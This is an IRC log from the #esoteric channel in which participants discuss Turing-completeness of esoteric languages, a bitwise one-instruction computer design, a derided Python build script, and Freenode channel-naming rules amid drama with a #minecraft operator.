18:33:11 <elliott> ais523: For when you get back, note that the channel's topic is now officially http://esolangs.org/wiki/CRTL.
18:35:30 <oerjan> today i have become less convinced that :()^ isn't TC.
18:36:07 <oerjan> but if it is it looks tricky to achieve
18:36:35 <elliott> oerjan: oh dear
18:37:18 <oerjan> basically i think it's somewhat possible a self-deleting representation like the one for :()^~ could be made to work
18:40:38 <oerjan> and if so the two-counter minsky machine for :()^! could be ported
18:42:05 <elliott> oerjan: maybe each quotation looks at the TOS and uses that to decide whether to delete itself or to execute?
18:42:32 <oerjan> but it looks like representing PQ would be tricky. i had a representation idea that would work simply for PQ but which cannot possibly work for quotes
18:42:41 <oerjan> TOS?
18:42:41 <elliott> pq?
18:42:45 <elliott> top of stack
18:42:55 <oerjan> a concatenation of two terms
18:43:22 <oerjan> if you know how to represent each of them, how do you represent their concatenation
18:43:59 <elliott> Sgeo: yes, ats does have compile-time error support for that.
18:44:26 <elliott> thankfully ats has way too much type theory for pikhq to ever udnerstand it.
18:44:27 <Sgeo> elliott, off-by-ones in general, or that specific case of an off-by-one?
18:45:07 <Sgeo> elliott, when you say that, don't you usually mean me?
18:45:34 <oerjan> looking at the TOS is pretty obvious. the problem with :()^ is how to _get_ something you choose to be on the top of stack when you run the quotation.
18:46:15 <elliott> good point :D
18:46:16 <oerjan> but there's one thing you can do, :^ runs the quotation with a copy of itself on top of stack
18:46:17 <Phantom_Hoover> <Sgeo> Phantom_Hoover, can we agree that AS A TOY TO PLAY WITH OCCASIONALLY, 3DNA is not evil
18:46:18 <Phantom_Hoover> NO
18:46:22 -!- Phantom_Hoover has left (?).
18:46:34 -!- Phantom_Hoover has joined.
18:46:38 <Phantom_Hoover> Effing tabs.
18:46:42 <elliott> Sgeo: Yes, it uses strong ai to detect every off-by-one possible.
18:46:45 <Phantom_Hoover> Anyway, THE CONCEPT IS FUNDAMENTALLY EVIL
18:49:44 -!- zzo38 has joined.
18:53:44 <Sgeo> Phantom_Hoover, even Bonzi Buddy can be a fun toy if isolated to where it can't harm anything
18:54:10 <Phantom_Hoover> Sgeo, are you incapable of hating crap
18:54:12 <Phantom_Hoover> *?
18:54:51 <Sgeo> Isn't there something I despised once?
18:54:58 <Sgeo> Forget the name...
18:55:12 <Phantom_Hoover> Progress?
18:55:18 <Phantom_Hoover> Change?
18:56:16 <elliott> Phantom_Hoover: Sgeo even supported the Asylum project, which was designed to "make building software from svn easier". The genius concept behind this was to take a normal shell script, and wrap it in fake xml <command1>, <command2>, ..., <commandN> because the project lead had no idea how to read lines sequentially from a file.
18:56:33 <elliott> (Okay, so he posted that to the Daily WTF, but he still got to the point of joining the IRC channel and volunteering to help.)
18:56:43 <Phantom_Hoover> What.
18:56:58 <elliott> :)
18:58:58 <pikhq> Sgeo: I'm afraid you have a defective hate lobe.
18:59:04 <pikhq> We're going to have to operate.
18:59:34 <Sgeo> I'm not psychic! How was I supposed to know that the person would be an idiot!
19:00:07 <pikhq> The entire concept was stupid!
19:01:11 <elliott> Sgeo has a defective brain lobe.
19:01:22 <elliott> Like I said, he's been getting progressively stupider over the period of many slow years.
19:01:47 <elliott> (Note: I have, in fact, tried "being nice" in the past, to little success.)
19:02:07 <Sgeo> elliott, Asylum wasn't recent
19:02:57 <Sgeo> pikhq, I joined up because someone from Circe did, I think!
19:10:48 <olsner> this Asylum thing looks ... useful
19:11:12 <elliott> olsner: it's like a shell script but useless!
19:13:07 <olsner> print "\nhere comes uncompressing of the source this takes about 1 minute and 10 seconds. Please be patient"
19:13:49 <Sgeo> olsner, you found the Asylum source?
19:13:53 <Sgeo> Lemme see, I'm nostalgic
19:13:57 <Sgeo> (No I'm not)
19:14:13 <olsner> http://asylum.svn.sourceforge.net/viewvc/asylum/trunk/
19:14:34 <elliott> olsner: :-D
19:14:36 <olsner> this wasn't xml though, just python
19:15:02 <Sgeo> olsner, I was told we would need to make an XML parser
19:15:44 <olsner> of course! python is not enough to poorly emulate shell scripts, you need an XML parser too
19:16:14 <Sgeo> "Special thanks to: The people at #python at irc.freenode.net for their advice"
19:16:35 <Sgeo> Too bad their advice never included "Just stop. Right now."
19:16:48 <olsner> hmm, #python was involved? that would explain a lot of how bad it turned out
19:17:22 <ais523> does anyone use python as a sh replacement?
19:17:26 <ais523> like people do with perl sometimes?
19:17:35 <elliott> ais523: yes
19:17:39 <ais523> ouch
19:17:51 <elliott> hmm, random thought: rafb.net/p/ getting deleted has affected me more than geocities
19:17:56 <Sgeo> "Well the purpose of this script is to build Songbirds svn source just by running this script. Including downloading and doing all the steps that are needed to get it installed
19:17:57 <Sgeo> 20and working on your linux box."
19:18:05 <elliott> seriously dude, shut down your IMMENSELY POPULAR pastebin if you want to but don't delete all the damn pastes
19:18:21 <elliott> admittedly rafb used to delete pastes after one day by default iirc which is terrible too :/
19:18:24 <Phantom_Hoover> elliott, wait, what the hell was the point of Asylum?
19:18:28 <elliott> Phantom_Hoover: NOBODY KNOWS.
19:18:32 <Sgeo> "We are working on making asylum work for all svn open source projects. instead of just python....
19:18:32 <Sgeo> 41 It should happen sometime soon."
19:18:45 <Sgeo> ...I think they meant Songbird there
19:19:16 <ais523> I don't expect pastebin pastes to persist
19:19:18 <ais523> because they don't
19:19:28 <Phantom_Hoover> elliott, where's the Daily WTF post for it?
19:19:37 <elliott> Phantom_Hoover: ... stop being Vorpal
19:19:46 <elliott> (assuming omniscience)
19:20:01 <Sgeo> elliott, I never mentioned "Asylum" in the post
19:20:05 <Sgeo> http://forums.thedailywtf.com/forums/p/4361/99979.aspx
19:20:05 <Phantom_Hoover> elliott, I did try Googling it, but it's hard to pin down
19:20:08 <elliott> ais523: no, but I have put plenty of code up on a pastebin, lost the code carelessly, and then have been unable to retrieve it later :)
19:20:14 <elliott> Phantom_Hoover: ask Sgeo, duh; he's the one who posted it
19:20:25 <elliott> ais523: I don't see why pastebin pastes _shouldn't_ persist, anyway
19:20:27 <ais523> wow, someone actually edited the sandbox
19:20:48 <Phantom_Hoover> elliott, YES OK
19:20:52 <Phantom_Hoover> ais523, which sandbox?
19:20:56 <elliott> ais523: oh, err, zzo ...found... your language
19:20:56 <ais523> Esolang's
19:21:00 <ais523> it's rare that that one's changed
19:21:03 <Phantom_Hoover> What.
19:21:04 <elliott> in case you haven't checked the talk page lately.
19:21:12 <ais523> elliott: he found it in-channel first
19:21:17 <elliott> indeed
19:21:21 <elliott> wait, have you been logreading?
19:21:24 <elliott> like, in realtime?
19:21:25 <ais523> it's interesting to see the zzo spin on things
19:21:28 <ais523> and no, I was here at the time
19:21:31 <elliott> oh
19:22:02 <Phantom_Hoover> ais523, it can be, but unfortunately the incessant "USE CWEB" and "PLAY MY GAMES" makes it more worthwhile just to ignore him.
19:22:30 <ais523> you can't just ignore zzo38! you'd lose a vital part of Internet culture!
19:22:48 <ais523> (seriously, you can go to a random channel and mention zzo38 and there are people who have heard of him)
19:22:55 <zzo38> I am on here right now, in case you have questions that I would need to answer, and whatever
19:23:19 <elliott> <ais523> (seriously, you can go to a random channel and mention zzo38 and there are people who have heard of him)
19:23:22 <elliott> I'm tempted to try this
19:23:33 <elliott> but I think it may just be cognitive bias on your part, ais523 :P
19:23:37 <Gregor> zzo38 is world-famous.
19:23:41 <elliott> (i.e. you only enter channels that are likely to have heard of zzo38)
19:23:51 <ais523> elliott: hmm, perhaps
19:24:04 <ais523> also, it was quite a large channel
19:24:07 * elliott tries it in #esoteric-minecraft
19:24:15 <elliott> ais523: wasn't it #nethack? i think you said that
19:24:23 <elliott> <elliott> HAS ANYONE HEAR HEARD OF ZZO38
19:24:23 <elliott> <Phantom_Hoover> NOPE
19:24:24 <elliott> Darn
19:24:26 <zzo38> Try it, I do not know how well it is going to work but you can try, and even write a report if you want to about the statistics you get from it.
19:24:30 <ais523> which a) increases the chance that someone's there who's heard of him, b) increases the chance that someone's there who has his name on highlight
19:24:42 <ais523> elliott: also, #tasvideos
19:24:51 <ais523> which doesn't have a large overlap with #esoteric (I think just me and Ilari)
19:26:00 <elliott> well zzo38 does ZZT stuff doesn't he?
19:26:04 <elliott> I'd expect an overlap with that and TASing
19:26:12 <zzo38> Yes I have done ZZT stuff.
19:26:21 <zzo38> And also MegaZeux.
19:26:29 -!- vovten has quit (Remote host closed the connection).
19:26:37 <olsner> that looks like it's pronounced megasucks
19:27:11 <zzo38> olsner: Not quite.
19:27:48 <zzo38> ais523: I wrote a note in the [[Talk:Checkout]] page, can you read this note please?
19:28:00 <ais523> zzo38: I read it, I just couldn't think of anything to say in response
19:28:27 <elliott> haha
19:28:41 <elliott> ais523: here's a factoid you'll like: Template Haskell, a macro system for Haskell, does gensym with a monad
19:28:45 <ais523> and still can't, in fact
19:29:17 <ais523> I apologise for my lack of imagination
19:29:26 <ais523> elliott: well, monads are pretty basic in Haskell
19:29:52 <elliott> it's just amusing to think of gensym as referentially transparent and therefore requiring a monad
19:30:29 <zzo38> OK. Currently it does not actually have the list of commands and their numbers, but do you think what I wrote is sufficient? Is there anything wrong with it? If I ever write a emulator I would make it use the binary format as input, probably.
19:31:04 <ais523> it's more that I didn't think of the concept of using a binary format with Checkout at all
19:31:14 <ais523> although it makes sense that individual emulators, and individual GPUs, would have one
19:31:49 <zzo38> Yes the GPU has its own binary format. This binary format I made is just a kind of intermediate binary format.
19:32:07 <zzo38> It is possible to convert between the standard Checkout text format and this binary format.
19:32:34 <ais523> I thought of using /7 for the preprocessor, btw, but it wouldn't really fit
19:32:47 <ais523> I might use /- to make it clear that it's completely different from actual execution
19:32:56 <ais523> (the preprocessor isn't designed yet, but one is obviously necessary)
19:34:09 <zzo38> Yes you are right. However, the /7 in the binary format is just used to specify how it is encoded, when converted to text format the /7 is not actually there.
19:34:27 <elliott> remember TkTech who was in here a while ago?
19:34:57 <ais523> no
19:35:02 <elliott> oh, it was after PH incredibly-transparently impersonated Notch in #minecraft, got banned, and TkTech got an IRCop friend to abuse his position of power to figure out what channels PH was in
19:35:03 <ais523> (that's in response to elliott)
19:35:12 <elliott> which, obviously, didn't exactly endear him to us
19:35:18 <ais523> why would PH do that?
19:35:41 <ais523> it seems sufficiently against Freenode rules that ircops would be allowed to get involved if they really wanted to regardless
19:35:49 <elliott> ais523: Err, long story, but suffice to say that he didn't act even vaguely seriously and didn't even bother changing his ident, but got insanely worshipped anyway
19:35:56 <elliott> also, Notch isn't a registered username
19:35:56 <ais523> also, presumably they might check if he was in here and impersonating, say, Chris Pressey or maybe Graue
19:36:14 <elliott> ais523: it wasn't an "official" thing, though
19:36:29 <elliott> We asked how the hell he found this place and he said he had links with ircop friends.
19:36:46 <ais523> is the upshot of this, that much of #minecraft is idiotic enough to believe an obvious troll is their glorious implementor?
19:36:59 <ais523> also, technically it should be ##minecraft if Notch isn't involved in it
19:37:02 <elliott> Indeed
19:37:26 <elliott> ais523: Yes; what I was going to follow on with was that TkTech is now hilariously whois-stalking someone in #minecraft for no apparent reason whatsoever and being all accusatory, but if nobody here remembers him it's irrelevant
19:37:33 <elliott> (Vorpal eventually got him to go away by complaining loudly about his away-message script)
19:37:51 -!- Vonlebio has joined.
19:37:59 <ais523> elliott: that works?
19:38:08 <elliott> ais523: what, complaining?
19:38:15 -!- Vonlebio has quit (Client Quit).
19:38:23 <ais523> complaining about away messages as a means to get someone to leave a channel
19:38:32 <ais523> normally it just gets them to turn their public away messages off
19:38:33 <elliott> well, he hadn't talked for most of the day, and then his away-nick script kicked in, and Vorpal just kept pinging him about how annoying it is until he got fed up and left
19:39:08 <elliott> ooh, looks like TkTech is abusing his oper friends again to get dirt on this random guy in #minecraft
19:39:10 <elliott> classy!
19:39:13 <elliott> s/^ //
19:39:57 <ais523> perhaps he's an undercover oper himself?
19:40:05 <elliott> ais523: do those /exist/?
19:40:17 <elliott> wow TkTech is insane
19:40:29 <ais523> I know on Slashnet, there are people who come into channels you're in and spout random languages just as a result of you /whoising them
19:40:35 <ais523> (I haven't done it myself, but other people have)
19:40:40 <ais523> well, one person
19:40:44 <elliott> he's gone on to yelling at PH like he's the devil himself for calling the cyberstalking creepy
19:41:00 <ais523> people would yell at the devil? it wouldn't seem very effective...
19:41:02 <elliott> ais523: heh, /whois notification?
19:41:32 <elliott> Gregor: You should add the codu logs to robots.txt. :p
19:41:37 <olsner> the server tells clients when their user is being whois:ed?
19:41:39 <ais523> elliott: he's an ircop, I assume he has some way of knowing he's being /whoised
19:41:42 <elliott> ais523: ah
19:41:46 <ais523> perhaps hooked into the ircd code
19:41:47 <Gregor> elliott: *eh*
19:41:50 <ais523> there's no way he could do it otherwise
19:41:56 <elliott> Gregor: They're a liability :P
19:42:55 <elliott> I'm really tempted to bring up the fact that the channel should have two #s in front of its name, but he'd just snap back that so should #esoteric, and he's been here longer than me, and I'm evil scum, and shut up.
19:43:09 <ais523> well, does #esoteric have rights to the name?
19:43:21 <elliott> ais523: more than #minecraft
19:43:31 <elliott> ais523: especially since we vastly predate the policy; #minecraft definitely does not
19:43:46 <ais523> I could pretty easily put a message in an admin-change-only page in Esolang, which is pretty much Freenode's standard for verification
19:43:46 <elliott> http://esolangs.org/wiki/PREFIX I like the part where this isn't esoteric at all
19:43:52 <Phantom_Hoover> We do represent the de facto body for esolang research and development.
19:43:56 <ais523> but I'm not sure if esolangs.org would have rights to the name
19:44:00 <elliott> that would be an argument for #esolang, not #esoteric
19:44:08 <ais523> esoteric.voxelperfect.net?
19:44:15 <olsner> as far as I'm concerned this is the official IRC channel of the esoteric programming language community :D
19:44:19 <olsner> (whatever that is)
19:44:19 <elliott> ais523: I'll go register hello.sfoidjfoisdjfo.org
19:44:23 <elliott> and register #hello
19:44:24 <elliott> or maybe the
19:44:27 <elliott> or er
19:44:28 <elliott> "and"
19:44:33 <elliott> or maybe "microsoft-windows"
19:44:41 <ais523> elliott: well, I don't know if hello.org would give you rights to #hello either
19:44:56 <ais523> would you think python.com should have rights to #python?
19:45:06 <elliott> ais523: yes!
19:45:14 <ais523> (note: python.com is rather different from python.org; some of my friends at University go there by mistake every now and then)
19:45:21 <elliott> (note: this opinion is influenced by disliking Python and _hating_ #python)
19:45:34 <elliott> ((worst channel ever... ok apart from every efnet channel))
19:46:01 <elliott> <TkTech> For anyone who still cares about Phantom_Hoover, here's the chatlog from his blatant trolling attempt
19:46:15 <Phantom_Hoover> TkTech> For anyone who still cares about Phantom_Hoover, here's the chatlog from his blatant trolling attempt
19:46:15 <Phantom_Hoover> <TkTech> https://codu.org/projects/trac/esotericlogs/changeset/243%3A17617b496c58
19:46:18 <Phantom_Hoover> Yeah, that's creepy.
19:46:30 <ais523> wait, blatant trolling in #esoteric?
19:46:40 <elliott> ais523: no, the #minecraft stuff was mentioned in #esoteric when it happened
19:46:43 <ais523> it's happened, but it's not normally PH who's doing it
19:46:44 <ais523> elliott: ah
19:46:48 <elliott> <elliott> TkTech: so how many kicks a day would you say you get on average from pointless, confusing cyberstalking and witchhunts?
19:46:49 <elliott> <elliott> arithmetic mean would do, or median
19:46:53 <elliott> * ChanServ gives channel operator status to TkTech
19:46:53 <elliott> * TkTech sets ban on *!*elliott@unaffiliated/elliott
19:46:53 <elliott> * TkTech sets ban on *!*phantomho@unaffiliated/phantom-hoover/x-3377486
19:46:53 <elliott> * You have been kicked from #minecraft by TkTech (elliott)
19:46:54 <Phantom_Hoover> ais523, NORMALLY?
19:47:04 <Phantom_Hoover> /o/
19:47:04 <myndzi> |
19:47:05 <myndzi> /|
19:47:16 <ais523> yep, people do report trolling attempts in #esoteric sometimes
19:47:28 <ais523> which is strange because a) it's publicly logged, and b) I'm here and dislike that sort of thing
19:47:31 <Phantom_Hoover> ais523, I haven't trolled here...
19:47:35 <ais523> although I can't do much except yell incoherently
19:47:42 <Phantom_Hoover> FFS, codu.org won't load.
19:47:46 <elliott> 20:20 < elliott_> this channel should be ##minecraft
19:47:46 <elliott> 20:20 -!- mode/#minecraft [+b *!*elliott@91.104.239.*] by TkTech
19:47:46 <elliott> 20:20 -!- elliott_ was kicked from #minecraft by TkTech [elliott_]
19:47:46 <elliott> is it against freenode TOS to ban someone for reporting a policy violation?
19:47:46 <Phantom_Hoover> Gregor, FIX
19:47:50 <ais523> Phantom_Hoover: in which case, it's true that trolls here aren't usually you, because they aren't ever you
19:47:53 <elliott> just curious
19:47:59 <ais523> elliott: I don't know, I'll checl
19:48:02 <ais523> *check
19:48:15 <ais523> also, is Minecraft open source?
19:48:21 -!- TLUL has joined.
19:48:28 <elliott> ais523: no
19:48:30 <ais523> if not, that's a vaguely obvious policy vio
19:48:35 <Gregor> Phantom_Hoover: ... uhh, E_WORKSFORME
19:48:35 <ais523> as in, wrong network for the channel
19:48:39 <elliott> ais523: untrue, ##windows is accepted
19:48:44 <elliott> just, it has to be a ##-channel
19:49:02 -!- Vonlebio has joined.
19:49:08 <ais523> ##windows makes sense, in that open source stuff often needs to know about Windows in order to work well
19:49:19 <elliott> ais523: well, mcmap is open source!
19:49:22 <elliott> and needs to know about Minecraft!
19:49:31 <elliott> Sgeo: olsner:
19:49:32 <elliott> 17# So yeah This part will speed up the code to the point of being the same as compiled C or such. If you plan to use this script alot
19:49:32 <elliott> 18# I recommend you downloading and installing it. You can grab it here http://psyco.sf.net. So install that shit and be done with :-p
19:49:33 <elliott> --Asylum
19:49:39 <ais523> elliott: that's a reasonable argument
19:49:43 <elliott> Psyco totally speeds up os.system.
19:49:46 <Phantom_Hoover> * ChanServ gives channel operator status to redditalien
19:49:46 <Phantom_Hoover> * redditalien removes channel operator status from TkTech
19:49:52 <Phantom_Hoover> I sense DRAMA
19:50:07 <ais523> Phantom_Hoover: how are you watching what's going on? as Vonlebio?
19:50:23 <elliott> heh this is ridiculous, tktech has gone utterly nuts
19:50:24 <Phantom_Hoover> ais523, yep.
19:50:54 <Phantom_Hoover> Will notify as events unfold, if they actually do.
19:51:00 <elliott> this is getting wildly off-topic
19:51:06 <elliott> Do it in #esoteric-minecraft instead :P
19:51:35 <ais523> elliott: there are quite a lot of rules for single-# channels, determining what's allowed, what's more allowed than others in case there's a conflict, and what definitely isn't
19:51:49 <olsner> elliott: psyco will totally speed up make and tar when they're called from python
19:51:54 <elliott> olsner: yes!
19:51:57 -!- Vonlebio has left (?).
19:51:59 <ais523> "Groups on freenode which clearly do not have claim on a name, or whose activities are considered to be off-topic, will not generally be given administrative control over primary channels bearing a given name or name prefix." is the only rule that definitively says you can't get a single-#
19:52:17 <elliott> ais523: I think #minecraft is probably never going to be acted against because it's big
19:52:32 <elliott> also, because TkTech would just be all "I GOOGLED THE PERSON WHO SAID THAT AND THEY HAVE TIES TO PH AND ELLIOTT, EVIL PERSISTENT TROLLS"
19:52:33 <Sgeo> Wait, that's a double-whammy against us
19:52:36 <elliott> "HERE ARE LOG LINKS:"
19:53:11 <ais523> for #esoteric, we count as "Informal FOSS community projects and other projects producing broadly-licensed output.", I think; we can be beaten to the name by groups in that category who've used the name for longer (are there any longer-lasting esoteric programming groups?), or by " 1. Non-govermental organizations, standards organizations, government entities, formal news organizations, corporations, businesses and individuals with legally valid
19:53:13 <ais523> claims."
19:53:37 <elliott> well, cpressey adopted the term esoteric for esolangs
19:53:43 <elliott> but esoteric was in use previously to mean some subtle but important detail
19:53:58 <elliott> e.g., "the working of the database flogger under conditions of intense load is somewhat esoteric; ..."
19:53:59 <ais523> so IOW, we're allowed to use #esoteric, our "informal" name, so long as there isn't a legal claim to the name by someone else
19:54:03 <ais523> yep
19:54:09 <elliott> cpressey, at least, has "endorsed" this channel for the esolang purpose by being in here
19:54:11 <ais523> also, cpressey isn't, by himself, a community, although he's getting there
19:54:14 <elliott> and <elliott> e.g., "the working of the database flogger under conditions of intense load is somewhat esoteric; ..."
19:54:17 <elliott> is just a generic term
19:54:20 <elliott> which you can't really "own"
19:54:27 <ais523> yep, and which doesn't count as the name of a community
19:54:30 <elliott> so I think as far as esoteric has a vaguely FOSS-related meaning as a community, we're it
19:54:43 <ais523> yep, as long as we produce broadly-licensed output
19:54:55 <ais523> which we do, with PD wiki edits and interpreters under a wide range of open source licenses
19:54:58 <olsner> can cat's eye technology claim the #esoteric name for us if required?
19:55:14 <elliott> olsner: cpressey has been in here since 2004 or so
19:55:15 <elliott> on and off
19:55:20 <elliott> which is close enough to an endorsement as we'd need
19:55:42 <ais523> hmm, I think the claim actually goes to esoteric.sange.fi, the mailing list
19:55:47 <ais523> assuming it exists enough to demand it
19:55:54 <elliott> ais523: I disagree
19:55:59 <ais523> being the oldest esolangs community with the word "esoteric" in its name
19:56:02 <elliott> ais523: they stole the term from cpressey :)
19:56:05 <ais523> (it predates the wiki, doesn't it?)
19:56:10 <ais523> elliott: it's not about the ownership of the name
19:56:11 <elliott> err, yes, by a long shot
19:56:11 <elliott> hmm
19:56:14 <olsner> is that mailing list still alive?
19:56:17 <elliott> ais523: I wonder where Befunge-97 and the like were designed?
19:56:19 <ais523> it's about the length of time you've been in a community with that name
19:56:22 <elliott> olsner: heck no
19:56:31 <elliott> olsner: it delivers a lot of spam, and every year or two, a "IS THIS THING STILL ON" message
19:56:39 <ais523> who ran esoteric.sange.fi anyway?
19:56:42 <elliott> some of the lists can't even be subscribed to thanks to bitrotting software
19:56:49 <elliott> ais523: that's a good question
19:56:49 <olsner> elliott: ok, good thing I'm not on it then :)
19:56:59 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
19:57:07 <ais523> it could be fun to all suddenly revive it some point and act as if nothing had happened
19:57:27 -!- BeholdMyGlory has joined.
19:57:56 -!- elliott has set topic: «Tra átekidáwakin» trakidawakin. | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
19:58:02 <olsner> well, if it's been dead for years, I'd say that nothing *has* happened :)
19:58:08 <olsner> no acting required
19:58:26 <ais523> haha
19:58:34 <ais523> I mean, as if it had been used all along
19:59:29 <olsner> could populate the archive with some fakes, reply to the threads, act confused when people complain about not having seen the e-mail you're replying to
19:59:43 <elliott> I just /whois'd TkTech; let's see if he enters here!
20:00:43 <zzo38> I do not need worry about the Freenode policies too much for my own projects because I put the channels in my own computer (and I am the only one who can 'register' channels, meaning that they exist when empty, have topic message, and are logged). Although, I am still probably not violating Freenode policies, but I put it in my own computer anyways (one feature it has is automatic logging by server).
20:01:17 <ais523> I don't think Freenode much care about what your own IRC server's rules are
20:02:26 <zzo38> You are correct, they probably don't care. What I meant is that even if I did make the channels on Freenode, it would not be against their policy.
20:03:12 <elliott> can you stop a channel appearing in /list?
20:03:16 <elliott> +s hides it from whois
20:03:30 <elliott> ah
20:03:31 <elliott> +s does it
20:05:03 <zzo38> HELP CMODE tells you all the channel modes.
20:07:34 <elliott> anyway, on to more fun things
20:07:55 <Phantom_Hoover> Relevant to what was being discussed a few minutes back: http://sprunge.us/VENB
20:07:59 <elliott> ais523: I've attempted to extend bitwise operations to the full Z
20:08:07 <elliott> ais523: for a turing-complete OISC
20:08:08 <elliott> based on NAND
20:08:12 <elliott> obviously, ~x = -x - 1
20:08:28 <ais523> how are you going to do bitshift-equivalents?
20:08:34 <elliott> AND, OR and XOR are all pretty obvious, well, except (negative xor positive)
20:08:36 <elliott> erm
20:08:39 <elliott> negative xor negative, that is
20:08:41 <elliott> which turns into positive
20:08:48 <elliott> because negative integers start with infinite 1s
20:08:57 <elliott> ais523: erm, you can just do them directly, can't you?
20:09:11 <ais523> oh, you said nand-based
20:09:17 <ais523> I thought that implied it didn't do anything else
20:09:28 <elliott> ais523: oh, right
20:09:36 <elliott> ais523: I'm not entirely sure how it's going to work yet
20:09:37 <elliott> I was thinking
20:09:41 <elliott> IP is at location 0
20:09:53 <elliott> you load up memory space, which is just a finite list of Zs
20:09:53 <ais523> we need a ZISC
20:09:57 <elliott> and the instruction is
20:10:03 <elliott> (a1,a2,a3) => [a1] = [a2] NAND [a3]
20:10:04 <elliott> *:=
20:10:06 <ais523> but I have no idea if that even makes sense
20:10:10 <elliott> so three literal addresses
20:10:17 <elliott> i.e.
20:10:25 <elliott> (a1,a2,a3) => [a1] := -([a2] AND [a3]) - 1
20:11:18 <elliott> ais523: I'm not sure NAND is so "universal" with infinite bits, though
20:11:29 <elliott> I think I did mov
20:11:55 <ais523> hmm, the BBC's technology program just explained that "OS X", as in the Apple operating system, is pronounced like the letter X not the number 10 because it's based on UNIX
20:12:02 <ais523> I'm not sure whether to believe them or not
20:12:06 <elliott> tmp dst dst
20:12:07 <elliott> src dst dst
20:12:07 <elliott> src src src
20:12:07 <elliott> dst tmp tmp
20:12:08 <elliott> there, that's mov
20:12:24 <ais523> NAND's only universal if logical; bitwise NAND isn't
20:12:24 <olsner> I'd say it's pronounced like the letter X because it's written with the letter X
20:12:27 <elliott> ais523: It's pronounced "Mac OS Ten" officially.
20:12:35 <elliott> their reasoning is... bizarre
20:12:44 <elliott> olsner: Apple always pronounces it Ten, at least.
20:12:46 <elliott> Roman numeral X.
20:12:50 <ais523> apparently someone sent them an email complaining about their pronunciation
20:12:50 <elliott> Mac OS 8, Mac OS 9, Mac OS X.
20:13:07 <ais523> and that's the explanation they gave for it
20:13:11 <elliott> ais523: "Knoll's Law of Media Accuracy: Everything you read in the newspapers is absolutely true except for that rare story of which you happen to have firsthand knowledge."
20:13:22 <ais523> haha
20:14:27 <quintopia> elliott: please apply this OISC design to the 2-adic numbers
20:14:49 -!- pikhq_ has joined.
20:15:20 -!- pikhq has quit (Ping timeout: 272 seconds).
20:15:50 <zzo38> Maybe they used X because of both ten and because of UNIX.
20:15:50 <elliott> quintopia: that's basically what i've done
20:15:57 <oerjan> > (-1) `xor` (-2) :: Integer
20:15:57 <elliott> doesn't 2-adic have ...111111110 = -2?
20:15:58 <lambdabot> 1
20:16:01 <elliott> oerjan: haha, nice
20:16:30 <elliott> > 1 `xor` 2
20:16:31 <lambdabot> Ambiguous type variable `a' in the constraint:
20:16:31 <lambdabot> `Data.Bits.Bits a'
20:16:31 <lambdabot> a...
20:16:34 <oerjan> elliott: obviously
20:16:35 <elliott> > 1 `xor` 2 :: Integer
20:16:36 <lambdabot> 3
20:16:41 <elliott> oerjan: right, just checking
20:16:53 <elliott> anyway
20:16:57 <elliott> I'm not _sure_ it can do negation
20:17:08 <quintopia> elliott: it looked like you were using 2
20:17:10 <oerjan> well not is -1-x
20:17:12 <quintopia> 2's complement
20:17:13 <elliott> or even increment
20:17:18 <ais523> > 523 `xor` -1 :: Integer
20:17:21 <lambdabot> mueval-core: Time limit exceeded
20:17:22 <elliott> quintopia: well, yes, but on infinite bits
20:17:24 <elliott> same thing, no?
20:17:29 <elliott> ais523: XORING IS VERY DIFFICULT
20:17:33 <ais523> > 523 `xor` (-1) :: Integer
20:17:34 <lambdabot> -524
20:17:42 <quintopia> well, for one, there is no decimal :P
20:17:50 <elliott> well yes
20:18:02 <elliott> hmm...
20:18:09 <elliott> what's x & (-x - 1)?
20:18:16 <elliott> > 523 `xor` (-524) :: Integer
20:18:19 <lambdabot> -1
20:18:28 <elliott> er
20:18:29 <elliott> that's xor
20:18:30 <oerjan> elliott: um the bitwise operations can only do things that depend only on that bit positions in the arguments for which you are trying to calculate the bit position in the result. increment does not fulfil this property, nor does negation.
20:18:37 <elliott> > 523 .&. (-524) :: Integer
20:18:39 <lambdabot> 0
20:18:43 <elliott> oerjan: right, but you can do jumps
20:18:46 <elliott> IP is at location 0
20:19:41 <elliott> oerjan: and increment is just xor with carry :P
20:19:51 <elliott> fsvo xor, carry
20:21:07 <oerjan> good luck incrementing -1
20:21:14 <ais523> gah, who'd have thought removing concurrency from algol could be so difficult
20:21:16 <elliott> oerjan: GOT A BETTER OISC?
20:21:22 <elliott> `addquote <ais523> gah, who'd have thought removing concurrency from algol could be so difficult
20:21:51 <ais523> elliott: the mathematical models of concurrent algol are simpler than those of non-concurrent algol, as they have fewer restrictions so there's less to say
20:22:05 <elliott> ais523: yes, I was just addquoting because it's funny :)
20:22:25 <HackEgo> 319) <ais523> gah, who'd have thought removing concurrency from algol could be so difficult
20:22:48 <ais523> grr, it's vaguely annoying to be pinged a second time when HackEgo repeats the quote
20:22:59 <ais523> the first time is enough, the second time adds no new info but the number and HackEgo's reaction time
20:26:07 <elliott> I wonder how Erlang's SDL bindings are...
20:26:19 <elliott> <Sgeo> YOU MENTIONED A LANGUAGE, CLEARLY YOU ARE TURNING INTO ME
20:26:28 <olsner> elliott: ... surely not better than SDL itself
20:26:41 <elliott> olsner: I mean as far as threading goes.
20:26:47 <elliott> Erlang uses native threads, but it divides green threads between them.
20:27:01 <elliott> So can the SDL bindings run asynchronously, so that network activity can still take place during expensive calls?
20:27:33 <olsner> I guess the natural thing is to do something like dedicate a new native thread to SDL and an erlang wrapper process
20:27:44 <ais523> elliott: to add to the fun, SDL has its own threading library
20:27:54 <elliott> olsner: That's a strange definition of natural if you ask me.
20:28:07 <elliott> Admittedly SDL calls aren't exactly _expensive_.
20:28:18 <elliott> But still, Minecraft could totally be less responsive if the proxying gets interrupted!
20:28:21 <olsner> erlang, you know, does things with threads and stuff
20:28:45 <elliott> olsner: Yes. Green threads.
20:28:58 <elliott> olsner: SDL does not use Erlang green threads.
20:29:01 <elliott> SDL calls will therefore block.
20:29:06 <elliott> Yes, Erlang can run threads on multiple cores.
20:29:06 <ais523> why would you use Erlang + SDL for Minecraft?
20:29:09 <elliott> But relying on that seems ridiculous.
20:29:24 <elliott> ais523: I'm considering rewriting mcmap in Erlang to learn the language and also to make mcmap hacking a bit... nicer for me.
20:29:40 <elliott> ais523: It uses SDL to... display the map.
20:29:53 <elliott> And receives things from the client and server, and sends things to the client and server (it's a proxy).
20:29:58 <elliott> And uses readline on the console.
20:30:59 <elliott> ais523: Does that answer your question? :p
20:31:46 <ais523> yep
20:31:53 <ais523> reinventing the wheel for fun
20:32:00 <ais523> I suppose that's what #esoteric is all about
20:32:01 <elliott> 09:00:08 * ais523 finally got UMIX compiled
